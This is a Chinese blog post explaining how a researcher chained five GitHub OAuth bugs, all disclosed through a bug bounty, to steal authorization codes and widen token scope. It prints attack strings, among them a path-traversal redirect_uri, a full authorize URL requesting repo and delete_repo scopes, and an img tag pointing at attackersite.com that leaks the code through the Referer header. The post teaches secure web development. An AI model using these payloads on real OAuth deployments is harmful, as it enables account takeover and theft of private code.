从“黑掉Github”学Web安全开发

标签: 杂项资源 Gist github OAuth Web | 发表时间:2014-02-10 08:16 | 作者:陈皓
出处:http://coolshell.cn

Egor Homakov(Twitter:  @homakov 个人网站:  EgorHomakov.com)是一个Web安全的布道士,他这两天把github给黑了,并给github报了5个安全方面的bug,他在他的这篇blog——《 How I hacked Github again》(墙)说明了这5个安全bug以及他把github黑掉的思路。Egor的这篇文章讲得比较简单,很多地方一笔带过,所以, 我在这里用我的语言给大家阐述一下黑掉Github的思路以及原文中所提到的那5个bug。希望这篇文章能让从事Web开发的同学们警惕。关于Web开发中的安全事项,大家可以看看这篇文章《 Web开发中的你需要了解的东西

OAuth简介

首先,这个故事要从 Github OAuth讲起。所以,我们需要先知道什么是 OAuth。所谓OAuth就是说,第三方的应用可以通过你的授权而不用知道你的帐号密码能够访问你在某网站的你自己的数据或功能。像Google, Facebook, Twitter等网站都提供了OAuth服务,提供OAuth服务的网站一般都有很多开放的API,第三方应用会调用这些API来开发他们的应用以让用户拥有更多的功能,但是,当用户在使用这些第三方应用的时候,这些第三方的应用会来访问用户的帐户内的功能和数据,所以,当第三应用要干这些事的时候,我们不能让第三方应用弹出一个对话框来问用户要他的帐号密码,不然第三方的应用就把用户的密码给获取了,所以,OAuth协议会跳转到一个页面,让用户授权给这个第三方应用以某些权限,然后,这个权限授权的记录保存在Google/Facebook/Twitter上,并向第三方应用返回一个授权token,于是第三方的应用通过这个token来操作某用户帐号的功能和数据时,就畅通无阻了。下图简单地说明了Twitter的OAuth的授权过程。

从上面的流程图中,我们可以看OAuth不管是1.0还是2.0版本都是一个比较复杂的协议,所以,在Server端要把OAuth实现对并不是一些容易事,其总是或多或少会有些小错误。Egor就找到了几个Github的OAuth的实现的问题。

OAuth的Callback

还需要注意的是,因为OAuth是需要跳到主站的网页上去让用户授权,当用户授权完后,需要跳转回原网页,所以,一般来说,OAuth授权页都会带一个 redirect_url的参数,用于指定跳转回原来的网页。Github使用的这个跳转参数是redirect_uri参数。一般来说,redirect_uri这个参数需要在服务器端进行验证。

你想一下,如果有人可以控制这个redirect_uri这个参数,那么,你有可以让你跳转到别的网页上。如果你觉得跳转到别的网页上也无所谓,那么你就错了。别忘了,当你对这个第三方的应用授权通过后,服务方会给第三方应用返回一个授权token,这个token会被加到那个redirect_uri参数后面然后跳转回去,如果这个redirect_uri被别有用心的人改一个恶意的网址后,这个token也就被还过去了,于是授权token也就被泄漏过去了。

知道了这一切,我们就可以理解Egor提的那5个bug是什么意思了。

第一个Bug — 没有检查重定向URL中的/../

首先,我们通过 Github的redirect_uri的说明文档我们可以看到这样的说明:

如果 CALLBACK URL是: http://example.com/path

GOOD: https://example.com/path
GOOD: http://example.com/path/subdir/other

BAD: http://example.com/bar
BAD: http://example.com/
BAD: http://example.com:8080/path
BAD: http://oauth.example.com:8080/path
BAD: http://example.org

而Github对于redirect_uri做了限制,要求只能跳回到 https://gist.github.com/auth/github/callback/,也就是说,域名是git.github.com,目录是/auth/github/callback/,服务器端做了这个限制,看似很安全了。

但是,Egor发现,Github的服务器端并没有验证.. /../..这样的情况。

于是,Egor相当于构造了一个下面这样的Redirect URL:

https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE

相当于:

https://gist.github.com/homakov/8820324?code=CODE

你可以看到,认证后的跳转网页转到了别的地方去——我们知道Github的gist虽然是给你分代码片段的,但是也可以用来定制自己的东西的(比如markdown),这个gist的网页当然是被我们的Egor控制的。

第二个BUG — 没有校验token

第一个bug其实并没有什么,如果服务器端要校验一下token是否和之前生成的token的redirect_uri一模一样,只要服务器做了这个验证,第一个bug完全没有什么用处,但是,github的服务端并没有验证。这就是第二个bug,于是第一个和第二个bug组合起来成了一个相当有威力的安全漏洞。

第三个BUG — 注入跨站图片

现在,redirect_uri带着code,安全地跳到了Egor构造的网页上:

https://gist.github.com/homakov/8820324?code=CODE

但是,这个是gist的网页,你无法在这个页面上运行前端(Javascript)或后端程序(Ruby——Github是Ruby做的),现在的问题是我们怎么得到那个code,因为那个code虽然后带到了我的网页上来,但那个网页还是github和用户自己的环境。

到这里,一般来说,黑客会在这个页面上放一个诸如下面的一个链接,来引诱用户点击,:

<a href=http://hack.you.com/>私人照片</a>

这样,当页面跳转到黑客的网站上来后,你之前的网页上的网址会被加在http头里的 Refere 参数里,这样,我就可以得到你的token了。

但是,在gist上放个链接还要用户去点一下,这个太影响“用户体验”了,最好能嵌入点外部的东西。gist上可以嵌入外站的图片,但是github并非等闲之辈,对于外站的图片,其统统会把这些图片的url代理成github自己的,所以,你很难搞定。

像程序员一样的思考

不过,我们可以用一个很诡异的技巧:

<img src=”///attackersite.com”>

这个是什么玩意?这个是个URL的相对路径。但是为什么会有三个///呢?呵呵。这个时候,我们需要以“程序员的编程思维”来思考问题——如果你是程序员,你会怎么写校验URL的程序?你一定会想到使用正则表达式。于是,

  • 对于绝对路径:你会匹配两个//,后面的可能会是 user@host.com(user@是可选的),然后可能会有:<n>端口号,然后是/,后面是服务器的路径,再往后面应该是?后面带一些参数了。
  • 对于相对路径:就没有绝对路径那么复杂了。就是些 .. 和 /再加上?和一些参数。

好了,如果coolshell.cn网页中的相对路径是 /host.com,那么浏览器会解释成:http://coolshell.cn/host.com,如果是///host.com,那么就应该被浏览器解释成 http://coolshell.cn///host.com。

但是,Chrome和Firefox,会把///host.com当成绝对路径,因为其正确匹配了绝对路径的scheme。如果你正在用Chrome/Firefox看这篇文章 ,你可以看看下面的连接(源码如下):

CoolShell Test

<a href="///www.google.com">CoolShell Test</a>

关键是,这个Chrome/Firefox的问题被标记成了Won’t Fix,我勒个去,基本上来说,后面的程序也有可能有这样的问题,对于Perl,Python,Ruby,Node.js,PHP带的URL检查的函数库都有这样的问题。

于是,我们就可以使用这样的方式给gist注入了一个第三方站点的图片(github的服务端没有察觉到,但是浏览器端把这个链接解释到了第三方的站点上),于是请求这个图片的http头中的refere 中包含用户当前页面的URL,也包含了用户授权的code。

到这里,黑客已经拿到用户gist的权限并可以修改或查看用户私用的gist了。但是作者并没有满足,他想要的更多。

第四个bug – Gist把github_token放在了cookie里

于是Egor在用户的cookie里找到了 github_token

但是这个token没什么用,因为授权的Scope只有gists。但是这个token不应该放在用户端的cookie里,这个东西只能放在服务端。于是,Egor只能另谋出路。

第五个Bug – 自动给gist授权

因为gist是github自家的,所以估计github想做得简单一点,于是github对gist做了自动授权,于是,Egor搞了这样的一个URL(注意其中的 redirect_uri )

https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub% 2Fcallback/../../../homakov/8820324&response_type=code& scope=repo,gists,user,delete_repo,notifications

于是,这个redirect-uri不但帮黑客拿到了访问gist的token,而且还把授权的scope扩大到了用户的代码库等其它权限。于是你就可以黑入用户的私有代码区了。

 其它 & 感想

于是,作者从  Github Security Bug Bounty 拿到了USD $4,000的奖励!Egor一共花了从下午2点到6点一共4个小时找到了这些Bug,平均一小时1000美刀。Egor还很得瑟的说,如果Github请他做安全顾问,他只收一小时USD $400刀,这4个小时也就$1,600。呵呵。

大家看看,这是多么有效率的赚钱方式。看看,让我们扪心自问一下,我们花了多少时间在玩那些“红包游戏”,而又搞到了多少红包?人家4个小时找了5个bug,挣了$4000美金。老天给了你我一样的时间,我们用来抽几块钱的红包,人家用自己的技能来挣奖金。这就是人和人的差距。这就是所谓的效率——你可以移步看看我写的《 加班与效率

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell.cn ,请勿用于任何商业用途)

——=== 访问 酷壳404页面 寻找遗失儿童。 ===——

相关文章

相关 [github web 安全] 推荐:

从“黑掉Github”学Web安全开发

- - 酷 壳 - CoolShell.cn
Egor Homakov(Twitter:  @homakov 个人网站:  EgorHomakov.com)是一个Web安全的布道士,他这两天把github给黑了,并给github报了5个安全方面的bug,他在他的这篇blog——《 How I hacked Github again》(墙)说明了这5个安全bug以及他把github黑掉的思路.

代码托管网站Github收购基于Web的页面设计工具Easel

- - 36氪 | 关注互联网创业
代码托管网站 Github已收购基于Web的页面设计工具 Easel. 作为一个已从YC顺利毕业的创业公司, Easel可以帮助不会代码和用户界面设计的创业者,快速把自己的创意制作成产品原型页面. 除此之外,Easel还支持多人同时在线编辑. 虽然与与强大的桌面设计软件相比功能并不完善,但 Easel 提供的工具却也能够帮用户设计出适合桌面、移动或平板浏览的基本站点.

從 Github 被 hack,談 Rails 的安全性( mass-assignment )

- - Blog.XDite.net
關於 Github 被入侵這件事,目前在國外開發圈傳的沸沸揚揚. 看來中文圈還沒有消息,我來報導一下到底發生了什麼事好了. 順便宣導一下開發 Rails 程式碼需要注意的其中一個觀念... Rails 的 master 被某個 hacker 塞上這一段 commit. 以證明 Github 是可以被入侵的.

GitHub 上的十一款热门开源安全工具

- - CSDN博客系统运维推荐文章
作为开源开发领域的基石,“所有漏洞皆属浅表”已经成为一条著名的原则甚至是信条. 作为广为人知的Linus定律,当讨论开源模式在安全方面的优势时,开放代码能够提高项目漏洞检测效率的理论也被IT专业人士们所普遍接受. 恶意软件分析、渗透测试、计算机取证——GitHub托管着一系列引人注目的安全工具、足以应对各类规模下计算环境的实际需求.

安全隐患名录-Web

- - Onlycjeg's Blog
[0day储藏室出品]安全隐患名录-Web. 本文档是基于OWASP TOP 10写成,描述了OWASP TOP 10中所讲到的风险并对其进行风险等级鉴定,漏洞描述,漏洞危害,测试方法,测试过程对系统的影响以及修复方法. 在做项目的过程中,我们所面对的更多的是生产系统,并不是所有的企业都存在测试服务器.

Web开发框架安全杂谈

- goodman - 80sec
最近框架漏洞频发,struts任意代码执行、Django csrf token防御绕过、Cakephp代码执行等等各大语言编程框架都相继暴出高危漏洞,这说明对于编程框架的安全问题已经逐渐走入安全工作者的视线. Web开发框架就相当于web应用程序的操作系统,他决定了一个应用程序的模型结构和编程风格.

[转][转]浅谈php web安全

- - heiyeluren的Blog
来源: http://www.phpben.com/?post=79. 首先,笔记不是web安全的专家,所以这不是web安全方面专家级文章,而是学习笔记、细心总结文章,里面有些是我们phper不易发现或者说不重视的东西. 在大公司肯定有专门的web安全测试员,安全方面不是phper考虑的范围. 但是作为一个phper对于安全知识是:“ 知道有这么一回事,编程时自然有所注意”.

华为内部的Web安全原则

- - 服务器运维与网站架构|Linux运维|X研究
Web安全原则 1.认证模块必须采用防暴力破解机制,例如:验证码或者多次连续尝试登录失败后锁定帐号或IP. 说明:如采用多次连续尝试登录失败后锁定帐号或IP的方式,需支持连续登录失败锁定策略的“允许连续失败的次数”可配置,支持在锁定时间超时后自动解锁. 2.对于每一个需要授权访问的页面或servlet的请求都必须核实用户的会话标识是否合法、用户是否被授权执行这个操作,以防止URL越权.

Web安全扫描器Netsparker v3.5发布

- - FreeBuf.COM
‍‍Netsparker是一款综合型的web应用安全漏洞扫描工具,它分为专业版和免费版,免费版的功能也比较强大. Netsparker与其他综合 性的web应用安全扫描工具相比的一个特点是它能够更好的检测SQL Injection和 Cross-site Scripting类型的安全漏洞. * DOM跨站脚本漏洞检测 * 基于Chrome浏览器的Dom解析 * URL重写规则 * 可晒出某些不必要的扫描结果.

零基础如何学习 Web 安全?

- - 知乎每日精选
这是个好问题,我强迫症犯了,本来你写的是“web”,我改为了“Web”. 因为正好Web安全是我擅长的,你说的是 0基础,我总结下我的一些看法吧,针对0基础的. Web分为好几层,一图胜千言:. 事实是这样的: 如果你不了解这些研究对象是不可能搞好安全研究的. 这样看来,Web有八层(如果把浏览器也算进去,就九层啦,九阳神功……).